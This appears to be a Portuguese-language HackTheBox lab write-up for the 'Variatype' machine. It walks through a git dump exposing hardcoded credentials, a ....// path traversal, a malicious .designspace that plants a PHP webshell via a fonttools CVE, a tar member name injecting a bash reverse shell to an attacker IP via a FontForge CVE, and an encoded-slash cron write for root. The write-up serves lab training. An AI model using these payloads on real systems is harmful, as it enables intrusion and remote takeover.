Avatar oficial da máquina Variatype no HackTheBox

Variatype

Plataforma
HackTheBox
Dificuldade
Medium
Sistema
Linux

Categorias Web · Git Exposure · Path Traversal · CVE · Command Injection · File Write

Máquina Linux que encadeia um repositório Git exposto, leitura arbitrária de arquivo por path traversal, escrita arbitrária via injeção XML no fonttools, command injection no FontForge ao processar arquivos comprimidos e abuso de os.path.join com caminho absoluto num instalador sudo para chegar a root.

Recon

Port scan

rustscan -a variatype.htb -- -sV

O scan devolveu só SSH e um nginx servindo variatype.htb.

Saída do rustscan com SSH na 22 e nginx na 80
SSH e nginx — superfície mínima.

The application

A raiz de variatype.htb é um gerador de fontes variáveis. Fuzzing de vhost expõe um segundo host, o portal interno de validação:

ffuf -u http://variatype.htb -H 'Host: FUZZ.variatype.htb' -w /usr/share/wordlists/seclists/Discovery/DNS/n0kovo_subdomains.txt -fs 2321

Git dump

Com variatype.htb e portal.variatype.htb no /etc/hosts, encontrei um diretório .git acessível no portal. Dumpei o repositório e li o histórico:

git-dumper http://portal.variatype.htb/.git loot/git-dump
git -C loot/git-dump log --oneline

O commit 753b5f5 adicionou credenciais hardcoded no auth.php para uma conta de automação. O diff entrega usuário e senha:

Diff do commit 753b5f5 mostrando as credenciais gitbot no auth.php
Credenciais gitbot hardcoded no auth.php.

As credenciais gitbot:G1tB0t_Acc3ss_2025! autenticam no portal e dão acesso ao dashboard de validação.

Foothold

Path traversal via download.php

O portal tem um download.php que monta o caminho a partir do parâmetro f sem normalizar ../. O nginx colapsa ../ simples, mas ....// sobrevive à normalização e ainda atravessa diretórios. Lendo /etc/passwd confirmei o traversal e o único usuário interativo, steve:

Repeater mostrando o conteúdo de /etc/passwd via path traversal com ....//....//etc/passwd
Path traversal com ....// — /etc/passwd confirma steve.

Arbitrary file write via CVE-2025-66034

O mesmo primitivo lê o source do gerador em /opt/variatype/app.py. O endpoint de geração salva o .designspace e os masters num tempdir e roda fonttools varLib config.designspace, copiando o resultado para o webroot do portal:

Source do app.py mostrando a chamada ao fonttools varLib
O app.py repassa o .designspace direto ao fonttools varLib.

O alvo roda fonttools 4.50.0, dentro da faixa afetada pela CVE-2025-66034. A varLib usa o atributo filename do elemento <variable-font> como caminho de saída sem sanitizar, e escreve o conteúdo de <labelname> verbatim no corpo da fonte. Um caminho absoluto em filename faz o os.path.join interno descartar o diretório de saída legítimo, e o registro de nome Macintosh guarda a string single-byte — então o <?php ?> cai contíguo num arquivo executável pelo php-fpm.

O .designspace malicioso injeta o webshell no labelname e mira o webroot pelo filename:

<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="400" maximum="900" default="400">
      <labelname xml:lang="en"><![CDATA[<?php system($_GET['c']); ?>]]></labelname>
    </axis>
  </axes>
  <sources>
    <source filename="source-regular.ttf" name="Source Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
    <source filename="source-black.ttf" name="Source Black">
      <location><dimension name="Weight" xvalue="900"/></location>
    </source>
  </sources>
  <variable-fonts>
    <variable-font name="Variabype" filename="/var/www/portal.variatype.htb/public/files/shell.php">
      <axis-subsets><axis-subset name="Weight"/></axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>

Os dois masters .ttf exigidos pela varLib são gerados com o FontBuilder do próprio fonttools (glyph set mínimo e idêntico, interpolável). Depois do upload do .designspace e dos masters, a varLib escreve o shell.php no webroot e o php-fpm o executa:

curl http://variatype.htb/tools/variable-font-generator/process \
  -F 'designspace=@config.designspace' \
  -F 'masters=@source-regular.ttf' -F 'masters=@source-black.ttf'
curl 'http://portal.variatype.htb/files/shell.php?c=id'
Execução de id via webshell confirmando www-data
Webshell ativo — execução como www-data.

Lateral Movement

Como www-data, o script /opt/process_client_submissions.bak mostra o pipeline que steve roda periodicamente: ele varre /var/www/portal.variatype.htb/public/files — o mesmo diretório onde escrevo — e valida cada arquivo de fonte abrindo-o com fontforge. O regex ^[a-zA-Z0-9._-]+$ filtra só o nome externo do arquivo; o conteúdo de um arquivo comprimido não passa por essa checagem.

font = fontforge.open('$file')

O FontForge é a versão 20230101, afetada pela CVE-2024-25082: ao abrir um archive, o Splinefont constrói um comando shell com o nome do membro interno sem sanitizar. Um nome de membro com metacaracteres de shell executa no contexto de quem roda o fontforgesteve. O tarball tem nome externo válido e o membro carrega a injeção com um reverse shell:

import tarfile, io
member = "valid.ttf;bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1';"
with tarfile.open("submit.tar.gz", "w:gz") as tar:
    info = tarfile.TarInfo(name=member); info.size = 1
    tar.addfile(info, io.BytesIO(b"\x00"))

Dropei o tarball no diretório monitorado e, quando o pipeline rodou, o fontforge avaliou o nome do membro e disparou o reverse shell como steve. Com acesso como steve, a flag de user foi obtida em /home/steve/user.txt.

Reverse shell como steve após a injeção via FontForge
Shell como steve via CVE-2024-25082.

Privilege Escalation

O sudo -l de steve libera um instalador de plugins como root:

sudo -l mostrando permissão de install_validator.py como root
install_validator.py executável como root sem senha.

O install_validator.py baixa um “plugin” de uma URL com setuptools.package_index.PackageIndex().download(url, PLUGIN_DIR). O nome do arquivo de destino vem do último segmento da URL, decodificado, e é combinado com os.path.join(PLUGIN_DIR, name). O script tenta blindar traversal validando o esquema (http/https), removendo .. e abortando URLs com muitas barras, mas não trata barras codificadas.

os.path.join descarta o primeiro argumento quando o segundo é absoluto. Codificando /etc/cron.d/pwn como %2fetc%2fcron.d%2fpwn, o último segmento da URL decodifica para um caminho absoluto, o PLUGIN_DIR é descartado e o conteúdo servido é escrito como root onde eu quiser. Sirvo um job de cron e disparo o instalador:

sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  "http://<ATTACKER_IP>:8000/%2fetc%2fcron.d%2fpwn"
Escrita de /etc/cron.d/pwn via install_validator.py
o cron job cai em /etc/cron.d/pwn como root.

O arquivo cai em /etc/cron.d/pwn como root. No minuto seguinte o cron aplica o SUID em /bin/bash, e /bin/bash -p preserva o euid 0.

Shell como root após bash -p
root via SUID em /bin/bash.

Lessons Learned

  • ....// defeats a single-pass ../ filter: the normalizer collapses the inner ../, leaving a valid traversal. Reject decoded paths, don’t string-replace them.
  • CVE-2025-66034 turns a font build step into a write primitive because the output filename is attacker-controlled and <labelname> content lands verbatim in the file. The Macintosh name record keeps it single-byte, so an embedded <?php ?> stays contiguous and executes.
  • The submission pipeline validated the external filename but handed archive contents straight to FontForge. CVE-2024-25082 only needs the internal member name, which the regex never inspected.
  • os.path.join(base, name) silently discards base when name is absolute. Stripping .. and counting slashes misses URL-encoded separators that decode to an absolute path after the check.

Impact

  • A Variatype perde a propriedade intelectual que é o seu produto: as fontes proprietárias e o código do gerador ficam ao alcance de qualquer atacante, quebrando os acordos de confidencialidade com os clientes que submetem tipografia para validação.
  • Quem controla o pipeline de processamento pode adulterar as fontes entregues aos clientes — o produto da fundição vira um vetor de supply-chain que alcança os usuários finais sem que a empresa perceba.
  • A indisponibilidade do serviço de geração e o custo de reconstruir o host comprometido tiram a operação do ar e impõem um esforço de resposta a incidente muito além da máquina em si.

Exploits

Os scripts usados estão em programming/htb/variatype:

  • build_payload.py — gera o .designspace malicioso + masters para CVE-2025-66034
  • build_tar.py — cria o tarball com nome de membro injetável (CVE-2024-25082)
  • payload_server.py — HTTP responder para o privesc via install_validator.py
  • install_validator.py — cópia do script vulnerável (referência)

References

Acta
Medalha de São Bento — Crux Sancti Patris Benedicti